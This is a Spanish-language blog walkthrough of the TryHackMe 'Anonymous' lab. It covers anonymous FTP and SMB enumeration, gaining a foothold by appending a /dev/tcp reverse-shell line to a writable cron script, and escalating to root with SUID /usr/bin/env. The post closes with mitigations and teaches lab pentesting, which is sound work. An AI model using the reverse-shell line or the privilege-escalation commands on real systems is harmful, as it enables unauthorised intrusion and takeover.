! xhetic .. /

Anonymous - TryHackMe

xhetic

xhetic

@xhetic

TryHackMeLinuxEasy
Anonymous - TryHackMe

📚 Esta publicación pertenece a la colección:

🚀TryHackMe Labs

Anonymous - TryHackMe Walkthrough

Bienvenido a mi writeup de la máquina Anonymous de TryHackMe.
El nombre lo dice todo: el vector de ataque principal gira en torno a autenticación anónima mal configurada en servicios de red.

Room: Anonymous
Dificultad: Easy
OS: Linux
Objetivo: Capturar las flags de usuario y root

🎯 Información del Objetivo

IP Target: 10.113.188.37

🔍 Fase 1: Reconocimiento (RECON)

Comprobación de Conectividad

Empiezo haciendo un ping para verificar que la máquina está activa:

ping -c1 10.113.188.37
  • -c1 → Envía solo 1 paquete ICMP y para (sin -c haría ping indefinido)
▶ output
64 bytes from 10.113.188.37: icmp_seq=1 ttl=62 time=44.8 ms

Veo que el TTL es 62, lo cual me indica que estoy ante una máquina Linux. El valor original de TTL en Linux es 64, y si lo recibo con 62 simplemente significa que ha pasado por 2 saltos de red.

💡 Referencia rápida de TTL:

  • TTL ≈ 64 → Linux/Unix
  • TTL ≈ 128 → Windows
  • TTL ≈ 255 → Cisco/routers

Escaneo de Puertos

Ahora hago un escaneo de todos los puertos TCP para ver qué servicios tiene expuestos:

nmap -p- --open --min-rate 5000 -sS -n -Pn 10.113.188.37
  • -p- → Escanea los 65535 puertos TCP
  • --open → Solo muestra puertos con estado abierto
  • --min-rate 5000 → Mínimo 5000 paquetes por segundo (escaneo rápido)
  • -sS → SYN scan (stealth): envía SYN pero no completa el handshake TCP
  • -n → Sin resolución DNS (más rápido)
  • -Pn → Sin ping previo, asume que el host está activo
▶ output
PORT    STATE SERVICE
21/tcp  open  ftp
22/tcp  open  ssh
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Interesante. Veo FTP, SSH y dos puertos de SMB (139 y 445). Tengo bastante superficie para enumerar.

Escaneo de Versiones y Scripts

Con los puertos identificados, lanzo un escaneo más específico para obtener versiones y dejar que nmap ejecute sus scripts por defecto:

nmap -p21,22,139,445 -sVC 10.113.188.37
  • -p21,22,139,445 → Escanea solo los puertos que encontré abiertos
  • -sV → Detección de versiones de los servicios
  • -sC → Ejecuta los scripts NSE por defecto (equivale a --script=default)
▶ output
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxrwxrwx    2 111      113          4096 Jun 04  2020 scripts [NSE: writeable]
22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu
139/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu
445/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu

Hay dos cosas que me llaman mucho la atención. Primero, el script ftp-anon confirma que el login anónimo está habilitado en el FTP. Segundo, la carpeta /scripts tiene permisos rwxrwxrwx, es decir, cualquiera puede leer y escribir en ella.

Esto presenta rápidamente varios vectores de ataque.

📁 Fase 2: Enumeración

Enumeración FTP Anónimo

Me conecto al FTP usando el usuario ftp y sin contraseña:

ftp 10.113.188.37

Conecta al servicio FTP del objetivo en el puerto 21
Usaré usuario ftp (alias estándar de anonymous) con contraseña vacía

▶ output
Name: ftp
Password: [vacío]
230 Login successful.

Entro sin problema. Navego a la carpeta scripts y listo su contenido:

ls -la
cd scripts
ls -la
  • ls -la → Lista todos los archivos con permisos, propietario y tamaño (incluidos los ocultos)
  • cd scripts → Navega al directorio scripts dentro del FTP
  • El segundo ls -la lista el contenido de scripts para ver permisos de cada archivo
▶ output
-rwxrwxrwx    1 1000     1000          314 Jun 04  2020 clean.sh
-rw-rw-r--    1 1000     1000          946 Mar 09 18:26 removed_files.log
-rw-rw-r--    1 1000     1000           68 May 12  2020 to_do.txt

Tres archivos. Los descargo para analizarlos:

get clean.sh
get removed_files.log
get to_do.txt
  • get <archivo> → Descarga un archivo del servidor FTP a la máquina local
  • Descargo los tres para analizarlos cómodamente fuera de la sesión FTP

Empiezo por to_do.txt:

I really need to disable the anonymous login...it's really not safe

El propio administrador sabe que tiene un problema pero no lo ha resuelto. Continúo.

Ahora leo clean.sh:

#!/bin/bash
 
tmp_files=0
echo $tmp_files
if [ $tmp_files=0 ]
then
        echo "Running cleanup script:  nothing to delete" >> /var/ftp/scripts/removed_files.log
else
    for LINE in $tmp_files; do
        rm -rf /tmp/$LINE && echo "$(date) | Removed file /tmp/$LINE" >> /var/ftp/scripts/removed_files.log;done
fi

Es un script que limpia archivos del directorio /tmp/ y genera un log cada vez que se ejecuta en el archivo removed_files.log. Consulto el log:

▶ output
Running cleanup script:  nothing to delete
Running cleanup script:  nothing to delete
Running cleanup script:  nothing to delete
...

El log tiene muchas entradas acumuladas pero nunca elimina nigún archivo.

Enumeración SMB

Continuo enumerando el SMB. Uso crackmapexec para listar los recursos compartidos accesibles sin credenciales:

crackmapexec smb 10.113.188.37 --shares -u '' -p ''
  • smb → Módulo de SMB de crackmapexec
  • --shares → Enumera los recursos compartidos disponibles
  • -u '' → Usuario vacío (acceso anónimo/guest)
  • -p '' → Contraseña vacía

Recursos SMB enumerados con crackmapexec

Veo un recurso compartido llamado pics al que tengo acceso en lectura. Me conecto y encuentro dos imágenes de perros corgi (corgo2.jpg, puppos.jpeg). Nada aprovechable aquí, pero siempre vale la pena mirar por si encuentro algo sensible como: documentos internos, configs con credenciales, claves SSH...

Si por aquí no hay nada, vuelvo al FTP por si me he dejado algo.

Vuelvo a consultar el archivo removed_files.log y veo que ahora hay notablemente más lineas que cuando lo consulté antes.

Esto me hace pensar que puede haber un cron ejecutando periódicamente el script clean.sh, y yo tengo permisos de escritura sobre ese script.

La hipótesis de ataque sería: modifico el script para que incluya una reverse shell, lo subo sobreescribiendo el original, y espero a que el cron lo ejecute.

🚀 Fase 3: Explotación

Ejecuto el plan: edito el script manteniendo la funcionalidad original y añado la línea de reverse shell al final:

#!/bin/bash
 
tmp_files=0
echo $tmp_files
if [ $tmp_files=0 ]
then
        echo "Running cleanup script:  nothing to delete" >> /var/ftp/scripts/removed_files.log
else
    for LINE in $tmp_files; do
        rm -rf /tmp/$LINE && echo "$(date) | Removed file /tmp/$LINE" >> /var/ftp/scripts/removed_files.log;done
fi
 
/bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.139.157/4444 0>&1'

📝 En este caso, 192.168.139.157 es la IP de mi equipo.

Me pongo en escucha en el puerto 4444:

nc -nlvp 4444
  • -n → Sin resolución DNS
  • -l → Modo escucha (listener), espera conexiones entrantes
  • -v → Verbose, muestra información de las conexiones
  • -p 4444 → Puerto donde escuchar

Y subo el script modificado al FTP:

ftp 10.113.188.37
cd scripts
put clean.sh
  • ftp 10.113.188.37 → Conecta al FTP del objetivo
  • cd scripts → Navega al directorio scripts
  • put clean.sh → Sube el archivo local clean.sh al servidor, sobreescribiendo el original

Ahora solo toca esperar.
En aproximadamente un minuto, el cron ejecuta el script y llega la conexión:

Shell obtenida como namelessone

Tengo shell como el usuario namelessone. 🎉

🖥️ Fase 4: Post-Explotación

Estabilización de la TTY

La reverse shell que tengo es básica: sin autocompletado, sin historial, y algunos comandos como sudo pueden dar problemas. Aplico el tratamiento de TTY estándar:

script /dev/null -c bash
  • script → Graba una sesión de terminal; lo uso para crear una pseudoterminal (PTY)
  • /dev/null → Descarta la grabación (no me interesa guardarla)
  • -c bash → Ejecuta bash dentro de la PTY generada

Pulso Ctrl + Z para suspender la shell, y desde mi terminal:

stty raw -echo; fg
  • stty raw → Pone la terminal en modo raw: los caracteres se envían directamente sin procesamiento local
  • -echo → Desactiva el eco local para evitar que los caracteres se dupliquen en pantalla
  • fg → Trae de vuelta al primer plano la shell suspendida con Ctrl+Z

La shell vuelve. Ahora termino con:

reset xterm
export TERM=xterm
  • reset xterm → Reinicia la terminal como tipo xterm, configurando las secuencias de escape correctas
  • export TERM=xterm → Define la variable de entorno TERM para que los programas interactivos (vim, nano, etc.) sepan el tipo de terminal

💡 Con esto consigo una terminal completamente funcional: Ctrl + C sin perder la sesión, autocompletado con Tab, y acceso a comandos interactivos.

Flag de Usuario

Busco la flag de usuario en el home de namelessone.

cat /home/namelessone/user.txt

🚩 Flag de usuario capturada!

⬆️ Fase 5: Escalada de Privilegios (PRIVESC)

Intento lo primero que siempre pruebo: ver si tengo permisos sudo:

sudo -l
  • Lista los comandos que el usuario actual puede ejecutar con sudo
  • Si pide contraseña y no la tengo, descarto esta vía de escalada

Me pide contraseña. No la tengo, descarto esa vía.

Busco entonces binarios con el bit SUID activo. Los binarios SUID se ejecutan con los privilegios de su propietario (normalmente root), independientemente de quién los ejecute:

find / -perm -4000 -type f 2>/dev/null
  • / → Busca desde la raíz del sistema de archivos (búsqueda global)
  • -perm -4000 → Archivos con el bit SUID activo (4 en notación octal)
  • -type f → Solo archivos regulares (excluye directorios)
  • 2>/dev/null → Redirige los errores de permisos denegados a /dev/null para no ensuciar la salida

Reviso la lista y hay uno que destaca de inmediato: /usr/bin/env.

env es un comando que ejecuta otros programas en un entorno modificado. Que tenga SUID es una configuración inusual y peligrosa. Busco en GTFOBins y encuentro exactamente el exploit:

/usr/bin/env /bin/bash -p
  • /usr/bin/env → Al tener el bit SUID de root, se ejecuta con privilegios de root
  • /bin/bash → El programa que quiero lanzar bajo esos privilegios
  • -p → Modo privilegiado: bash no descarta los privilegios heredados del SUID
whoami
  • Muestra el nombre del usuario efectivo del proceso actual
  • Si el SUID se aplicó correctamente debe devolver root
▶ output
root

¡Root! 🎉 La flag -p es la clave, ya que esta activa el modo privilegiado de bash, que respeta los privilegios heredados del SUID en vez de descartarlos.

💡 GTFOBins es una base de datos de binarios Unix explotables en configuraciones incorrectas. Imprescindible para SUID, sudo mal configurado, capabilities... Si encuentras un binario raro con SUID, ahí lo buscas.

🚩 Flag de Root

Ahora busco la flag de root por el sistema.

cat /root/root.txt

🚩 Flag de root capturada!

📊 Resumen

Cadena de Ataque

FTP Anónimo (con permisos) → Script modificable → Cron → Reverse Shell → SUID env → Root

Herramientas Utilizadas

  • nmap — Reconocimiento de puertos y servicios
  • ftp — Enumeración y explotación por FTP
  • crackmapexec — Enumeración de recursos SMB
  • netcat — Listener para la reverse shell
  • find — Búsqueda de binarios SUID
  • GTFOBins — Referencia para explotación de binarios

🛡️ Vulnerabilidades y Mitigaciones

VulnerabilidadSeveridadMitigación
FTP anónimo con permisos de escrituraCRÍTICADeshabilitar login anónimo o restringir su acceso
Script de cron modificable por cualquier usuarioCRÍTICAModificar permisos de archivos, más importante si estos son cron
SMB sin autenticaciónALTARequerir autenticación obligatoriamente
/usr/bin/env con bit SUIDALTAEliminar SUID innecesarios

📚 Referencias

🔗 Si quieres seguir aprendiendo y mejorando tus habilidades, explora mis writeups paso a paso en Shadows y mis apuntes y guías técnicas en Shards.

Happy Hacking! 🎩🔐

Sigueme en TryHackMe :

Writeup realizado con fines educativos. Recuerda solo realizar pentesting en entornos autorizados.

Ver todas las entradas